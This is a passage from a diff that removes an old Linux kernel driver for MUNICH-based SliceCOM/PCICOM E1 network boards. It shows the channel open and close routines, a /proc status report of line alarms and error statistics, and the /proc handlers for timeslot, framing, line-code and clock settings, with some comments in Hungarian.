PCR); - writeb(0x00, lbi + LIM2); - writeb(0x07, lbi + XC0); - writeb(0x3d, lbi + XC1); - writeb(0x05, lbi + RC0); - writeb(0x00, lbi + RC1); - writeb(0x83, lbi + FMR2); - writeb(0x9f, lbi + XSW); - writeb(0x0f, lbi + XSP); - writeb(0x00, lbi + TSWM); - writeb(0xe0, lbi + MODE); - writeb(0xff, lbi + IDLE); /* Idle Code to send in unused timeslots */ - writeb(0x83, lbi + IPC); /* interrupt query line mode: Push/pull output, active high */ - writeb(0xbf, lbi + IMR3); /* send an interrupt every second */ - - slicecom_set_framing(hw->boardnum, board->framing); - slicecom_set_linecode(hw->boardnum, board->linecode); - slicecom_set_clock_source(hw->boardnum, board->clock_source); - slicecom_set_loopback(hw->boardnum, board->loopback); - - memset((void *)board->intervals, 0, sizeof(board->intervals)); - board->current_interval = 0; - board->elapsed_seconds = 0; - board->ses_seconds = 0; - board->is_unavailable = 0; - board->no_ses_seconds = 0; - board->deg_elapsed_seconds = 0; - board->deg_cumulated_errors = 0; - } - - /* Enable the interrupts last */ - /* These interrupts will be enabled. We do not need the others. */ - - writel(readl(MUNICH_VIRT(IMASK)) & ~(STAT_PTI | STAT_PRI | STAT_LBII | STAT_TSPA | STAT_RSPA), MUNICH_VIRT(IMASK)); - } - - spin_unlock_irqrestore(&mister_lock, flags); - - dev->irq = board->irq; /* hogy szep legyen az ifconfig outputja */ - ccb = board->ccb; /* TODO: ez igy csunya egy kicsit hogy benn is meg kinn is beletoltom :( */ - - spin_lock_irqsave(&mister_lock, flags); - - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - /* Check if the selected timeslots aren't used already */ - - for (i = 0; i < 32; i++) - if (((1 << i) & timeslots) && !ccb->timeslot_spec[i].tti) - { - printk("MUNICH_open: %s: timeslot %d already used by %s\n", - dev->name, i, board->twins[ccb->timeslot_spec[i].txchannel]->name); - spin_unlock_irqrestore(&mister_lock, flags); - return -EBUSY; /* TODO: lehet hogy valami mas errno kellene? */ - } - - /* find a free channel: */ - /* TODO: ugly, rewrite it */ - - for (channel = 0; channel <= 32; channel++) - { - if (channel == 32) - { /* not found a free one */ - printk - ("MUNICH_open: %s: FATAL: can not find a free channel - this should not happen!\n", - dev->name); - spin_unlock_irqrestore(&mister_lock, flags); - return -ENODEV; - } - if (board->twins[channel] == NULL) - break; /* found the first free one */ - } - - board->lastcheck = jiffies; /* avoid checking uninitialized hardware channel */ - - /* Open the channel. If fails, calls MUNICH_close() to properly free resources and stop the HW */ - - hw->channel = channel; - board->twins[channel] = dev; - - board->use_count++; /* meg nem nyitottuk meg a csatornat, de a twins-ben - mar elfoglaltunk egyet, es ha a _close-t akarjuk hivni, akkor ez kell. */ - for (i = 0; i < 32; i++) - if ((1 << i) & timeslots) - { - ccb->timeslot_spec[i].tti = 0; - ccb->timeslot_spec[i].txchannel = channel; - ccb->timeslot_spec[i].txfillmask = ~0; - - ccb->timeslot_spec[i].rti = 0; - ccb->timeslot_spec[i].rxchannel = channel; - ccb->timeslot_spec[i].rxfillmask = ~0; - } - - if (!board->isx21) rework_idle_channels(dev); - - memset((void *)&(hw->tx_desc), 0, TX_DESC_MAX * sizeof(tx_desc_t)); - memset((void *)&(hw->rx_desc), 0, RX_DESC_MAX * sizeof(rx_desc_t)); - - for (i = 0; i < TX_DESC_MAX; i++) - { - hw->tx_desc[i].fe = 1; - hw->tx_desc[i].fnum = 2; - hw->tx_desc[i].data = virt_to_phys( & (hw->tx_data[i][0]) ); - hw->tx_desc[i].next = virt_to_phys( & (hw->tx_desc[ (i+1) % TX_DESC_MAX ]) ); - - } - hw->tx_desc_ptr = 0; /* we will send an initial packet so it is correct: "oda irtunk utoljara" */ - hw->busy = 0; - hw->tx_desc[hw->tx_desc_ptr].hold = 1; - hw->tx_desc[hw->tx_desc_ptr].no = 1; /* TOD: inkabb csak 0 hosszut kuldjunk ki az initkor? */ - - for (i = 0; i < RX_DESC_MAX; i++) - { - hw->rx_desc[i].no = RXBUFFER_SIZE; - hw->rx_desc[i].data = virt_to_phys(&(hw->rx_data[i][0])); - hw->rx_desc[i].next = virt_to_phys(&(hw->rx_desc[(i+1) % RX_DESC_MAX])); - hw->rx_desc[i].status = 0xFF; - } - hw->rx_desc_ptr = 0; - - hw->rx_desc[(hw->rx_desc_ptr + RX_DESC_MAX - 2) % RX_DESC_MAX].hold = 1; - - memset((void *)&ccb->channel_spec[channel], 0, sizeof(channel_spec_t)); - - ccb->channel_spec[channel].ti = 0; /* Transmit off */ - ccb->channel_spec[channel].to = 1; - ccb->channel_spec[channel].ta = 0; - - ccb->channel_spec[channel].th = 1; /* Transmit hold */ - - ccb->channel_spec[channel].ri = 0; /* Receive off */ - ccb->channel_spec[channel].ro = 1; - ccb->channel_spec[channel].ra = 0; - - ccb->channel_spec[channel].mode = 3; /* HDLC */ - - ccb->action_spec = CCB_ACTIONSPEC_IN | (channel << 8); - writel(CMD_ARPCM, MUNICH_VIRT(CMD)); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - spin_unlock_irqrestore(&mister_lock, flags); - - stat = 0; - jiffs = jiffies; - while (!((stat = readl(MUNICH_VIRT(STAT))) & (STAT_PCMA | STAT_PCMF)) && time_before(jiffies, jiffs + HZ)) - { - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - } - - if (stat & STAT_PCMF) - { - printk(KERN_ERR "MUNICH_open: %s: %s channel %d off failed\n", - dev->name, board->devname, channel); - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMF, MUNICH_VIRT(STAT)); - MUNICH_close(dev); - return -EAGAIN; - } - else if (!(stat & STAT_PCMA)) - { - printk(KERN_ERR "MUNICH_open: %s: %s channel %d off timeout\n", - dev->name, board->devname, channel); - MUNICH_close(dev); - return -EIO; - } - - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMA, MUNICH_VIRT(STAT)); - // printk("MUNICH_open: %s: succesful channel off took %ld jiffies\n", board->devname, jiffies-jiffs); - - spin_lock_irqsave(&mister_lock, flags); - - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - ccb->channel_spec[channel].ifc = 1; /* 1 .. 'Idle/Flag change' interrupt letiltva */ - ccb->channel_spec[channel].fit = 1; - ccb->channel_spec[channel].nitbs = 1; - ccb->channel_spec[channel].itbs = 2; - - /* TODOO: lehet hogy jo lenne igy, de utana kellene nezni hogy nem okoz-e fragmentaciot */ - // ccb->channel_spec[channel].itbs = 2 * number_of_timeslots; - // printk("open: %s: number_of_timeslots: %d\n", dev->name, number_of_timeslots); - - ccb->channel_spec[channel].mode = 3; /* HDLC */ - ccb->channel_spec[channel].ftda = virt_to_phys(&(hw->tx_desc)); - ccb->channel_spec[channel].frda = virt_to_phys(&(hw->rx_desc[0])); - - ccb->channel_spec[channel].ti = 1; /* Transmit init */ - ccb->channel_spec[channel].to = 0; - ccb->channel_spec[channel].ta = 1; - - ccb->channel_spec[channel].th = 0; - - ccb->channel_spec[channel].ri = 1; /* Receive init */ - ccb->channel_spec[channel].ro = 0; - ccb->channel_spec[channel].ra = 1; - - ccb->action_spec = CCB_ACTIONSPEC_ICO | (channel << 8); - writel(CMD_ARPCM, MUNICH_VIRT(CMD)); /* Start the channel init */ - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - spin_unlock_irqrestore(&mister_lock, flags); - - stat = 0; /* Wait for the action to complete max. 1 second */ - jiffs = jiffies; - while (!((stat = readl(MUNICH_VIRT(STAT))) & (STAT_PCMA | STAT_PCMF)) && time_before(jiffies, jiffs + HZ)) - { - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - } - - if (stat & STAT_PCMF) - { - printk(KERN_ERR "MUNICH_open: %s: channel open ARPCM failed\n", - board->devname); - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMF, MUNICH_VIRT(STAT)); - MUNICH_close(dev); - return -EAGAIN; - } - else if (!(stat & STAT_PCMA)) - { - printk(KERN_ERR "MUNICH_open: %s: channel open ARPCM timeout\n", - board->devname); - MUNICH_close(dev); - return -EIO; - } - - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMA, MUNICH_VIRT(STAT)); - // printk("MUNICH_open: %s: succesful channel open took %ld jiffies\n", board->devname, jiffies-jiffs); - - spin_lock_irqsave(&mister_lock, flags); - - ccb->channel_spec[channel].nitbs = 0; /* once ITBS defined, these must be 0 */ - ccb->channel_spec[channel].itbs = 0; - - if (board->isx21) - { - init_timer(&board->modemline_timer); - board->modemline_timer.data = (unsigned long)board; - board->modemline_timer.function = pcicom_modemline; - board->modemline_timer.expires = jiffies + HZ; - add_timer((struct timer_list *)&board->modemline_timer); - } - - /* It is done. Declare that we're open: */ - hw->busy = 0; /* It may be 1 if the frame at Tx init already ended, but it is not */ - /* a real problem: we compute hw->busy on every interrupt */ - hw->rafutott = 0; - ch->init_status |= HW_OPEN; - - /* Initialize line state: */ - if (board->lineup) - ch->line_status |= LINE_UP; - else - ch->line_status &= ~LINE_UP; - - /* Remove w attribute from /proc files associated to hw parameters: - no write when the device is open */ - - for (; procfile; procfile = procfile->next) - if (strcmp(procfile->name, FILENAME_BOARDNUM) == 0 || - strcmp(procfile->name, FILENAME_TIMESLOTS) == 0) - procfile->mode = S_IFREG | 0444; - - spin_unlock_irqrestore(&mister_lock, flags); - - return 0; -} - -/* - * Hardware close routine. - * Called by comx (upper) layer when the user wants to bring down the interface - * with ifconfig. - * We also call it from MUNICH_open, if the open fails. - * Brings down hardware, frees resources, stops receiver - * Returns 0 on OK, or standard error value on error. - */ - -static int MUNICH_close(struct net_device *dev) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - struct proc_dir_entry *procfile = ch->procdir->subdir; - munich_board_t *board; - munich_ccb_t *ccb; - - u32 *bar1; - u32 timeslots = hw->timeslots; - int stat, i, channel = hw->channel; - unsigned long jiffs; - - board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - ccb = board->ccb; - bar1 = board->bar1; - - if (board->isx21) - del_timer((struct timer_list *)&board->modemline_timer); - - spin_lock_irqsave(&mister_lock, flags); - - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - /* Disable receiver for the channel: */ - - for (i = 0; i < 32; i++) - if ((1 << i) & timeslots) - { - ccb->timeslot_spec[i].tti = 1; - ccb->timeslot_spec[i].txfillmask = 0; /* just to be double-sure :) */ - - ccb->timeslot_spec[i].rti = 1; - ccb->timeslot_spec[i].rxfillmask = 0; - } - - if (!board->isx21) rework_idle_channels(dev); - - ccb->channel_spec[channel].ti = 0; /* Receive off, Transmit off */ - ccb->channel_spec[channel].to = 1; - ccb->channel_spec[channel].ta = 0; - ccb->channel_spec[channel].th = 1; - - ccb->channel_spec[channel].ri = 0; - ccb->channel_spec[channel].ro = 1; - ccb->channel_spec[channel].ra = 0; - - board->twins[channel] = NULL; - - ccb->action_spec = CCB_ACTIONSPEC_IN | (channel << 8); - writel(CMD_ARPCM, MUNICH_VIRT(CMD)); - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - - spin_unlock_irqrestore(&mister_lock, flags); - - stat = 0; - jiffs = jiffies; - while (!((stat = readl(MUNICH_VIRT(STAT))) & (STAT_PCMA | STAT_PCMF)) && time_before(jiffies, jiffs + HZ)) - { - set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(1); - } - - if (stat & STAT_PCMF) - { - printk(KERN_ERR - "MUNICH_close: %s: FATAL: channel off ARPCM failed, not closing!\n", - dev->name); - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMF, MUNICH_VIRT(STAT)); - /* If we return success, the privdata (and the descriptor list) will be freed */ - return -EIO; - } - else if (!(stat & STAT_PCMA)) - printk(KERN_ERR "MUNICH_close: %s: channel off ARPCM timeout\n", - board->devname); - - writel(readl(MUNICH_VIRT(STAT)) & STAT_PCMA, MUNICH_VIRT(STAT)); - // printk("MUNICH_close: %s: channel off took %ld jiffies\n", board->devname, jiffies-jiffs); - - spin_lock_irqsave(&mister_lock, flags); - - if (board->use_count) board->use_count--; - - if (!board->use_count) /* we were the last user of the board */ - { - printk("MUNICH_close: bringing down board %s\n", board->devname); - - /* program down the board: */ - - writel(0x0000FF7F, MUNICH_VIRT(IMASK)); /* do not send any interrupts */ - writel(0, MUNICH_VIRT(CMD)); /* stop the timer if someone started it */ - writel(~0U, MUNICH_VIRT(STAT)); /* if an interrupt came between the cli()-sti(), quiet it */ - if (ch->hardware == &pcicomhw) - writel(0x1400, MUNICH_VIRT(GPDATA)); - - /* Put the board into 'reset' state: */ - pci_write_config_dword(board->pci, MUNICH_PCI_PCIRES, 0xe0000); - - /* Free irq and other resources: */ - if (board->irq) - free_irq(board->irq, (void *)board); /* Ha nem inicializalta magat, akkor meg nincs irq */ - board->irq = 0; - - /* Free CCB and the interrupt queues */ - if (board->ccb) kfree((void *)board->ccb); - if (board->tiq) kfree((void *)board->tiq); - if (board->riq) kfree((void *)board->riq); - if (board->piq) kfree((void *)board->piq); - board->ccb = NULL; - board->tiq = board->riq = board->piq = NULL; - } - - /* Enable setting of hw parameters */ - for (; procfile; procfile = procfile->next) - if (strcmp(procfile->name, FILENAME_BOARDNUM) == 0 || - strcmp(procfile->name, FILENAME_TIMESLOTS) == 0) - procfile->mode = S_IFREG | 0644; - - /* We're not open anymore */ - ch->init_status &= ~HW_OPEN; - - spin_unlock_irqrestore(&mister_lock, flags); - - return 0; -} - -/* - * Give (textual) status information. - * The text it returns will be a part of what appears when the user does a - * cat /proc/comx/comx[n]/status - * Don't write more than PAGESIZE. - * Return value: number of bytes written (length of the string, incl. 0) - */ - -static int MUNICH_minden(struct net_device *dev, char *page) -{ - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - munich_board_t *board; - struct net_device *devp; - - u8 *lbi; - e1_stats_t *curr_int, *prev_int; - e1_stats_t last4, last96; /* sum of last 4, resp. last 96 intervals */ - unsigned *sump, /* running pointer for the sum data */ - *p; /* running pointer for the interval data */ - - int len = 0; - u8 frs0, frs1; - u8 fmr2; - int i, j; - u32 timeslots; - - board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - lbi = board->lbi; - curr_int = &board->intervals[board->current_interval]; - prev_int = - &board-> - intervals[(board->current_interval + SLICECOM_BOARD_INTERVALS_SIZE - - 1) % SLICECOM_BOARD_INTERVALS_SIZE]; - - if (!board->isx21) - { - frs0 = readb(lbi + FRS0); - fmr2 = readb(lbi + FMR2); - len += scnprintf(page + len, PAGE_SIZE - len, "Controller status:\n"); - if (frs0 == 0) - len += scnprintf(page + len, PAGE_SIZE - len, "\tNo alarms\n"); - else - { - if (frs0 & FRS0_LOS) - len += scnprintf(page + len, PAGE_SIZE - len, "\tLoss Of Signal\n"); - else - { - if (frs0 & FRS0_AIS) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tAlarm Indication Signal\n"); - else - { - if (frs0 & FRS0_AUXP) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tAuxiliary Pattern Indication\n"); - if (frs0 & FRS0_LFA) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tLoss of Frame Alignment\n"); - else - { - if (frs0 & FRS0_RRA) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tReceive Remote Alarm\n"); - - /* You can't set this framing with the /proc interface, but it */ - /* may be good to have here this alarm if you set it by hand: */ - - if ((board->framing == SLICECOM_FRAMING_CRC4) && - (frs0 & FRS0_LMFA)) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tLoss of CRC4 Multiframe Alignment\n"); - - if (((fmr2 & 0xc0) == 0xc0) && (frs0 & FRS0_NMF)) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tNo CRC4 Multiframe alignment Found after 400 msec\n"); - } - } - } - } - - frs1 = readb(lbi + FRS1); - if (FRS1_XLS & frs1) - len += scnprintf(page + len, PAGE_SIZE - len, - "\tTransmit Line Short\n"); - - /* debug Rx ring: DEL: - vagy meghagyni, de akkor legyen kicsit altalanosabb */ - } - - len += scnprintf(page + len, PAGE_SIZE - len, "Rx ring:\n"); - len += scnprintf(page + len, PAGE_SIZE - len, "\trafutott: %d\n", hw->rafutott); - len += scnprintf(page + len, PAGE_SIZE - len, - "\tlastcheck: %ld, jiffies: %ld\n", board->lastcheck, jiffies); - len += scnprintf(page + len, PAGE_SIZE - len, "\tbase: %08x\n", - (u32) virt_to_phys(&hw->rx_desc[0])); - len += scnprintf(page + len, PAGE_SIZE - len, "\trx_desc_ptr: %d\n", - hw->rx_desc_ptr); - len += scnprintf(page + len, PAGE_SIZE - len, "\trx_desc_ptr: %08x\n", - (u32) virt_to_phys(&hw->rx_desc[hw->rx_desc_ptr])); - len += scnprintf(page + len, PAGE_SIZE - len, "\thw_curr_ptr: %08x\n", - board->ccb->current_rx_desc[hw->channel]); - - for (i = 0; i < RX_DESC_MAX; i++) - len += scnprintf(page + len, PAGE_SIZE - len, "\t%08x %08x %08x %08x\n", - *((u32 *) & hw->rx_desc[i] + 0), - *((u32 *) & hw->rx_desc[i] + 1), - *((u32 *) & hw->rx_desc[i] + 2), - *((u32 *) & hw->rx_desc[i] + 3)); - - if (!board->isx21) - { - len += scnprintf(page + len, PAGE_SIZE - len, - "Interfaces using this board: (channel-group, interface, timeslots)\n"); - for (i = 0; i < 32; i++) - { - devp = board->twins[i]; - if (devp != NULL) - { - timeslots = - ((struct slicecom_privdata *)((struct comx_channel *)devp-> - priv)->HW_privdata)-> - timeslots; - len += scnprintf(page + len, PAGE_SIZE - len, "\t%2d %s: ", i, - devp->name); - for (j = 0; j < 32; j++) - if ((1 << j) & timeslots) - len += scnprintf(page + len, PAGE_SIZE - len, "%d ", j); - len += scnprintf(page + len, PAGE_SIZE - len, "\n"); - } - } - } - - len += scnprintf(page + len, PAGE_SIZE - len, "Interrupt work histogram:\n"); - for (i = 0; i < MAX_WORK; i++) - len += scnprintf(page + len, PAGE_SIZE - len, "hist[%2d]: %8u%c", i, - board->histogram[i], (i && - ((i + 1) % 4 == 0 || - i == MAX_WORK - 1)) ? '\n' : ' '); - - len += scnprintf(page + len, PAGE_SIZE - len, "Tx ring histogram:\n"); - for (i = 0; i < TX_DESC_MAX; i++) - len += scnprintf(page + len, PAGE_SIZE - len, "hist[%2d]: %8u%c", i, - hw->tx_ring_hist[i], (i && - ((i + 1) % 4 == 0 || - i == - TX_DESC_MAX - 1)) ? '\n' : ' '); - - if (!board->isx21) - { - - memset((void *)&last4, 0, sizeof(last4)); - memset((void *)&last96, 0, sizeof(last96)); - - /* Calculate the sum of last 4 intervals: */ - - for (i = 1; i <= 4; i++) - { - p = (unsigned *)&board->intervals[(board->current_interval + - SLICECOM_BOARD_INTERVALS_SIZE - - i) % SLICECOM_BOARD_INTERVALS_SIZE]; - sump = (unsigned *)&last4; - for (j = 0; j < (sizeof(e1_stats_t) / sizeof(unsigned)); j++) - sump[j] += p[j]; - } - - /* Calculate the sum of last 96 intervals: */ - - for (i = 1; i <= 96; i++) - { - p = (unsigned *)&board->intervals[(board->current_interval + - SLICECOM_BOARD_INTERVALS_SIZE - - i) % SLICECOM_BOARD_INTERVALS_SIZE]; - sump = (unsigned *)&last96; - for (j = 0; j < (sizeof(e1_stats_t) / sizeof(unsigned)); j++) - sump[j] += p[j]; - } - - len += scnprintf(page + len, PAGE_SIZE - len, - "Data in current interval (%d seconds elapsed):\n", - board->elapsed_seconds); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Line Code Violations, %d Path Code Violations, %d E-Bit Errors\n", - curr_int->line_code_violations, - curr_int->path_code_violations, curr_int->e_bit_errors); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Slip Secs, %d Fr Loss Secs, %d Line Err Secs, %d Degraded Mins\n", - curr_int->slip_secs, curr_int->fr_loss_secs, - curr_int->line_err_secs, curr_int->degraded_mins); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Errored Secs, %d Bursty Err Secs, %d Severely Err Secs, %d Unavail Secs\n", - curr_int->errored_secs, curr_int->bursty_err_secs, - curr_int->severely_err_secs, curr_int->unavail_secs); - - len += scnprintf(page + len, PAGE_SIZE - len, - "Data in Interval 1 (15 minutes):\n"); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Line Code Violations, %d Path Code Violations, %d E-Bit Errors\n", - prev_int->line_code_violations, - prev_int->path_code_violations, prev_int->e_bit_errors); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Slip Secs, %d Fr Loss Secs, %d Line Err Secs, %d Degraded Mins\n", - prev_int->slip_secs, prev_int->fr_loss_secs, - prev_int->line_err_secs, prev_int->degraded_mins); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Errored Secs, %d Bursty Err Secs, %d Severely Err Secs, %d Unavail Secs\n", - prev_int->errored_secs, prev_int->bursty_err_secs, - prev_int->severely_err_secs, prev_int->unavail_secs); - - len += scnprintf(page + len, PAGE_SIZE - len, - "Data in last 4 intervals (1 hour):\n"); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Line Code Violations, %d Path Code Violations, %d E-Bit Errors\n", - last4.line_code_violations, last4.path_code_violations, - last4.e_bit_errors); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Slip Secs, %d Fr Loss Secs, %d Line Err Secs, %d Degraded Mins\n", - last4.slip_secs, last4.fr_loss_secs, last4.line_err_secs, - last4.degraded_mins); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Errored Secs, %d Bursty Err Secs, %d Severely Err Secs, %d Unavail Secs\n", - last4.errored_secs, last4.bursty_err_secs, - last4.severely_err_secs, last4.unavail_secs); - - len += scnprintf(page + len, PAGE_SIZE - len, - "Data in last 96 intervals (24 hours):\n"); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Line Code Violations, %d Path Code Violations, %d E-Bit Errors\n", - last96.line_code_violations, last96.path_code_violations, - last96.e_bit_errors); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Slip Secs, %d Fr Loss Secs, %d Line Err Secs, %d Degraded Mins\n", - last96.slip_secs, last96.fr_loss_secs, - last96.line_err_secs, last96.degraded_mins); - len += scnprintf(page + len, PAGE_SIZE - len, - " %d Errored Secs, %d Bursty Err Secs, %d Severely Err Secs, %d Unavail Secs\n", - last96.errored_secs, last96.bursty_err_secs, - last96.severely_err_secs, last96.unavail_secs); - - } - -// len +=scnprintf( page + len, PAGE_SIZE - len, "Special events:\n" ); -// len +=scnprintf( page + len, PAGE_SIZE - len, "\tstat_pri/missed: %u / %u\n", board->stat_pri_races, board->stat_pri_races_missed ); -// len +=scnprintf( page + len, PAGE_SIZE - len, "\tstat_pti/missed: %u / %u\n", board->stat_pti_races, board->stat_pti_races_missed ); - return len; -} - -/* - * Memory dump function. Not used currently. - */ -static int BOARD_dump(struct net_device *dev) -{ - printk - ("BOARD_dump() requested. It is unimplemented, it should not be called\n"); - return (-1); -} - -/* - * /proc file read function for the files registered by this module. - * This function is called by the procfs implementation when a user - * wants to read from a file registered by this module. - * page is the workspace, start should point to the real start of data, - * off is the file offset, data points to the file's proc_dir_entry - * structure. - * Returns the number of bytes copied to the request buffer. - */ - -static int munich_read_proc(char *page, char **start, off_t off, int count, - int *eof, void *data) -{ - struct proc_dir_entry *file = (struct proc_dir_entry *)data; - struct net_device *dev = file->parent->data; - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - munich_board_t *board; - - int len = 0, i; - u32 timeslots = hw->timeslots; - - board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - if (!strcmp(file->name, FILENAME_BOARDNUM)) - len = sprintf(page, "%d\n", hw->boardnum); - else if (!strcmp(file->name, FILENAME_TIMESLOTS)) - { - for (i = 0; i < 32; i++) - if ((1 << i) & timeslots) - len += scnprintf(page + len, PAGE_SIZE - len, "%d ", i); - len += scnprintf(page + len, PAGE_SIZE - len, "\n"); - } - else if (!strcmp(file->name, FILENAME_FRAMING)) - { - i = 0; - while (slicecom_framings[i].value && - slicecom_framings[i].value != board->framing) - i++; - len += scnprintf(page + len, PAGE_SIZE - len, "%s\n", - slicecom_framings[i].name); - } - else if (!strcmp(file->name, FILENAME_LINECODE)) - { - i = 0; - while (slicecom_linecodes[i].value && - slicecom_linecodes[i].value != board->linecode) - i++; - len += scnprintf(page + len, PAGE_SIZE - len, "%s\n", - slicecom_linecodes[i].name); - } - else if (!strcmp(file->name, FILENAME_CLOCK_SOURCE)) - { - i = 0; - while (slicecom_clock_sources[i].value && - slicecom_clock_sources[i].value != board->clock_source) - i++; - len += - scnprintf(page + len, PAGE_SIZE - len, "%s\n", - slicecom_clock_sources[i].name); - } - else if (!strcmp(file->name, FILENAME_LOOPBACK)) - { - i = 0; - while (slicecom_loopbacks[i].value && - slicecom_loopbacks[i].value != board->loopback) - i++; - len += scnprintf(page + len, PAGE_SIZE - len, "%s\n", - slicecom_loopbacks[i].name); - } - /* We set permissions to write-only for REG and LBIREG, but root can read them anyway: */ - else if (!strcmp(file->name, FILENAME_REG)) - { - len += scnprintf(page + len, PAGE_SIZE - len, - "%s: " FILENAME_REG ": write-only file\n", dev->name); - } - else if (!strcmp(file->name, FILENAME_LBIREG)) - { - len += scnprintf(page + len, PAGE_SIZE - len, - "%s: " FILENAME_LBIREG ": write-only file\n", dev->name); - } - else - { - printk("slicecom_read_proc: internal error, filename %s\n", file->name); - return -EBADF; - } - /* file handling administration: count eof status, offset, start address - and count: */ - - if (off >= len) - { - *eof = 1; - return 0; - } - - *start = page + off; - if (count >= len - off) - *eof = 1; - return min((off_t) count, (off_t) len - off); -} - -/* - * Write function for /proc files registered by us. - * See the comment on read function above. - * Beware! buffer is in userspace!!! - * Returns the number of bytes written - */ - -static int munich_write_proc(struct file *file, const char *buffer, - u_long count, void *data) -{ - struct proc_dir_entry *entry = (struct proc_dir_entry *)data; - struct net_device *dev = (struct net_device *)entry->parent->data; - struct comx_channel *ch = netdev_priv(dev); - struct slicecom_privdata *hw = ch->HW_privdata; - munich_board_t *board; - - unsigned long ts, tmp_boardnum; - - u32 tmp_timeslots = 0; - char *page, *p; - int i; - - board = hw->boardnum + (ch->hardware == &pcicomhw ? pcicom_boards : slicecom_boards); - - /* Paranoia checking: */ - - if (PDE(file->f_dentry->d_inode) != entry) - { - printk(KERN_ERR "munich_write_proc: file <-> data internal error\n"); - return -EIO; - } - - /* Request tmp buffer */ - if (!(page = (char *)__get_free_page(GFP_KERNEL))) - return -ENOMEM; - - /* Copy user data and cut trailing \n */ - if (copy_from_user(page, buffer, count = min(count, PAGE_SIZE))) { - free_page((unsigned long)page); - return -EFAULT; - } - if (*(page + count - 1) == '\n') - *(page + count - 1) = 0; - *(page + PAGE_SIZE - 1) = 0; - - if (!strcmp(entry->name, FILENAME_BOARDNUM)) - { - tmp_boardnum = simple_strtoul(page, NULL, 0); - if (0 <= tmp_boardnum && tmp_boardnum < MAX_BOARDS) - hw->boardnum = tmp_boardnum; - else - { - printk("%s: " FILENAME_BOARDNUM " range is 0...%d\n", dev->name, - MAX_BOARDS - 1); - free_page((unsigned long)page); - return -EINVAL; - } - } - else if (!strcmp(entry->name, FILENAME_TIMESLOTS)) - { - p = page; - while (*p) - { - if (isspace(*p)) - p++; - else - { - ts = simple_strtoul(p, &p, 10); /* base = 10: Don't read 09 as an octal number */ - /* ts = 0 ha nem tudta beolvasni a stringet, erre egy kicsit epitek itt: */ - if (0 <= ts && ts < 32) - { - tmp_timeslots |= (1 << ts); - } - else - { - printk("%s: " FILENAME_TIMESLOTS " range is 1...31\n", - dev->name); - free_page((unsigned long)page); - return -EINVAL; - } - } - } - hw->timeslots = tmp_timeslots; - } - else if (!strcmp(entry->name, FILENAME_FRAMING)) - { - i = 0; - while (slicecom_framings[i].value && - strncmp(slicecom_framings[i].name, page, - strlen(slicecom_framings[i].name))) - i++; - if (!slicecom_framings[i].value) - { - printk("slicecom: %s: Invalid " FILENAME_FRAMING " '%s'\n", - dev->name, page); - free_page((unsigned long)page); - return -EINVAL; - } - else - { /* - * If somebody says: - * echo >boardnum 0 - * echo >framing no-crc4 - * echo >boardnum 1 - * - when the framing was set, hw->boardnum was 0, so it would set the framing for board 0 - * Workaround: allow to set it only if interface is administrative UP - */ - if (netif_running(dev)) - slicecom_set_framing(hw->boardnum, slicecom_framings[i].value); - else - { - printk("%s: " FILENAME_FRAMING - " can not be set while the interface is DOWN\n", - dev->name); - free_page((unsigned long)page); - return -EINVAL; - } - } - } - else if (!strcmp(entry->name, FILENAME_LINECODE)) - { - i = 0; - while (slicecom_linecodes[i].value && - strncmp(slicecom_linecodes[i].name, page, - strlen(slicecom_linecodes[i].name))) - i++; - if (!slicecom_linecodes[i].value) - { - printk("slicecom: %s: Invalid " FILENAME_LINECODE " '%s'\n", - dev->name, page); - free_page((unsigned long)page); - return -EINVAL; - } - else - { /* - * Allow to set it only if interface is administrative UP, - * for the same reason as FILENAME_FRAMING - */ - if (netif_running(dev)) - slicecom_set_linecode(hw->boardnum, - slicecom_linecodes[i].value); - else - { - printk("%s: " FILENAME_LINECODE - " can not be set while the interface is DOWN\n", - dev->name); - free_page((unsigned long)page); - return -EINVAL; - } - } - } - else if (!strcmp(entry->name, FILENAME_CLOCK_SOURCE)) - { - i = 0; - while (slicecom_clock_sources[i].value && - strncmp(slicecom_clock_sources[i].name, page, - strlen(slicecom_clock_sources[i].name))) - i++; - if (!slicecom_clock_sources[i].value) - { - printk("%s: Invalid " FILENAME_CLOCK_SOURCE " '%s'\n", dev->name, - page); - free_page((unsigned long)page); - return -EINVAL; - } - else - { /* - * Allow to set it only if interface is administrative UP, 